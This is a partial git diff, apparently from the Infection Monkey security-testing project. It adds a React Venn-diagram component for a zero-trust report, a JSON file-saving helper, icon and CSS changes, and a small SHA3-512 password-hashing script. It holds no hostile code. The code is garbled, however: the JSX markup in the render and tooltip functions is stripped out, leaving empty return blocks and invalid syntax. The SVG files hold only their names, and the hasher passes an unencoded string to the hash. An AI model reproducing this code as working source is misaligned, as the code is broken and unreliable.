+ RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer
+ sum(C, I, P) has to be <=0
+
+ RULE #2: Failed [C] has to be > 0,
+ sum(C) > 0
+
+ RULE #3: Verify [I] has to be > 0 while Failed has to be 0,
+ sum(C, I) > 0 and C * I = 0, while C has to be 0
+
+ RULE #4: By process of elimination, passed.
+ if the P is bigger by 2 then negative U, first conditional
+ would be true.
+ */
+
+ this.rules = [
+
+ {
+ id: 'Rule #1', status: ZeroTrustStatuses.unexecuted, hex: '#777777', f: function (d_) {
+ return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.verify] + d_[ZeroTrustStatuses.passed] === 0;
+ }
+ },
+ {
+ id: 'Rule #2', status: ZeroTrustStatuses.failed, hex: '#D9534F', f: function (d_) {
+ return d_[ZeroTrustStatuses.failed] > 0;
+ }
+ },
+ {
+ id: 'Rule #3', status: ZeroTrustStatuses.verify, hex: '#F0AD4E', f: function (d_) {
+ return d_[ZeroTrustStatuses.failed] === 0 && d_[ZeroTrustStatuses.verify] > 0;
+ }
+ },
+ {
+ id: 'Rule #4', status: ZeroTrustStatuses.passed, hex: '#5CB85C', f: function (d_) {
+ return d_[ZeroTrustStatuses.passed] > 0;
+ }
+ }
+
+ ];
+
+ }
+
+ componentDidMount() {
+ this.parseData();
+ if (this.state.currentPopover !== undefined) {
+ this.state.currentPopover.show();
+ }
+ }
+
+ _disableHover(ref_) {
+ this.setState({hover: false, currentPopover: ref_, data: this.state.data});
+ }
+
+ _onMouseMove(e) {
+
+ let self = this;
+
+ let hidden = 'none';
+ let html = '';
+ let bcolor = '#DEDEDE';
+
+ if (this.state.currentPopover !== undefined) {
+ this.state.currentPopover.show();
+ }
+
+ document.querySelectorAll('circle, path').forEach((d_, i_) => {
+ d_.setAttribute('opacity', "0.8");
+ });
+
+ if (e.target.id.includes('Node')) {
+
+ e.target.setAttribute('opacity', 0.95);
+
+ // Set highest z-index
+ e.target.parentNode.parentNode.appendChild(e.target.parentNode);
+
+ } else {
+
+ // Return z indices to default
+ Object.keys(this.layout).forEach(function (d_, i_) {
+ document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode);
+ })
+ }
+
+ }
+
+ _onClick(e) {
+
+ if (!e.target.id.includes('Node')) {
+
+ this.state.currentPopover.hide();
+ this.setState({hover: true, currentPopover: undefined, data: this.state.data});
+ }
+ }
+
+ parseData() {
+
+ let self = this;
+ let data = [];
+ const omit = (prop, {[prop]: _, ...rest}) => rest;
+
+ this.props.pillarsGrades.forEach((d_, i_) => {
+
+ let params = omit('pillar', d_);
+ let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_] || 0), 0);
+ let key = TypographicUtilities.removeAmpersand(d_.pillar);
+ let html = self.buildTooltipHtmlContent(params);
+ let rule = null;
+
+ for (let j = 0; j < self.rules.length; j++) {
+ if (self.rules[j].f(d_)) {
+ rule = j;
+ break;
+ }
+ }
+
+ self.setLayoutElement(rule, key, html, d_);
+ data.push(this.layout[key]);
+
+ });
+
+ this.setState({hover: true, activePopover: undefined, data: data});
+ this.render();
+ }
+
+ buildTooltipHtmlContent(object_) {
+
+ return Object.keys(object_).map((key_, i_) => {
+ return ({key_}: {object_[key_]}
)
+ })
+ }
+
+ setLayoutElement(rule_, key_, html_, d_) {
+
+ if (rule_ === null) {
+ console.log(Error('The node scores are invalid, please check the data or the rules set.'));
+ }
+
+ if (key_ === 'Data') {
+ this.layout[key_].fontStyle = this.fontStyles[0];
+ } else if (this.layout[key_].hasOwnProperty('cx')) {
+ this.layout[key_].fontStyle = this.fontStyles[1];
+ } else {
+ this.layout[key_].fontStyle = this.fontStyles[2];
+ }
+
+ this.layout[key_].hex = this.rules[rule_].hex;
+ this.layout[key_].status = this.rules[rule_].status;
+ this.layout[key_].label = d_.pillar;
+ this.layout[key_].node = d_;
+ this.layout[key_].tooltip = html_;
+ }
+
+ render() {
+ if (this.state.data === undefined) {
+ return null;
+ } else {
+ // equivalent to center translate (width/2, height/2)
+ let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height;
+ let nodes = Object.values(this.layout).map((d_, i_) => {
+ if (d_.hasOwnProperty('cx')) {
+ return (
+
+ );
+ } else {
+ d_.label = TypographicUtilities.removeBrokenBar(d_.label);
+ return (
+
+ );
+ }
+ });
+
+ return (
+ this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)}
+ onClick={this._onClick.bind(this)}>
+
+ {nodes}
+
+
+ )
+ }
+ }
+}
+
+VennDiagram.propTypes = {
+ pillarsGrades: PropTypes.array
+};
+
+export default VennDiagram;
diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js
new file mode 100644
index 000000000..6ad124457
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js
@@ -0,0 +1,7 @@
+import FileSaver from "file-saver";
+
+export default function saveJsonToFile(dataToSave, filename) {
+ const content = JSON.stringify(dataToSave, null, 2);
+ const blob = new Blob([content], {type: "text/plain;charset=utf-8"});
+ FileSaver.saveAs(blob, filename + ".json");
+}
diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg
new file mode 100644
index 000000000..507541be4
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg
@@ -0,0 +1 @@
+im-alert-machine-icon
\ No newline at end of file
diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg
new file mode 100644
index 000000000..50dcc6726
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg
@@ -0,0 +1 @@
+im-alert-network-icon
\ No newline at end of file
diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css
index 9fc468f77..109f1c147 100644
--- a/monkey/monkey_island/cc/ui/src/styles/App.css
+++ b/monkey/monkey_island/cc/ui/src/styles/App.css
@@ -525,6 +525,14 @@ body {
margin-bottom: 30px;
}
+.attack-matrix {
+ margin-bottom: 20px;
+}
+
+.attack-report .btn-collapse span:nth-of-type(2){
+ flex: 0;
+}
+
.icon-info {
color: #ade3eb !important;
}
@@ -541,6 +549,22 @@ body {
color: #e0ddde !important;
}
+.status-success {
+ color: #24b716 !important;
+}
+
+.status-warning {
+ color: #b1a91c !important;
+}
+
+.status-danger {
+ color: #d91016 !important;
+}
+
+.status-default {
+ color: #575556 !important;
+}
+
.attack-legend {
text-align: center;
margin-bottom: 20px;
diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py
new file mode 100644
index 000000000..159e0d098
--- /dev/null
+++ b/monkey/monkey_island/scripts/island_password_hasher.py
@@ -0,0 +1,23 @@
+"""
+Utility script for running a string through SHA3_512 hash.
+Used for Monkey Island password hash, see
+https://github.com/guardicore/monkey/wiki/Enabling-Monkey-Island-Password-Protection
+for more details.
+"""
+
+import argparse
+from Crypto.Hash import SHA3_512
+
+
+def main():
+ parser = argparse.ArgumentParser()
+ parser.add_argument("string_to_sha", help="The string to do sha for")
+ args = parser.parse_args()
+
+ h = SHA3_512.new()
+ h.update(args.string_to_sha)
+ print(h.hexdigest())
+
+
+if __name__ == '__main__':
+ main()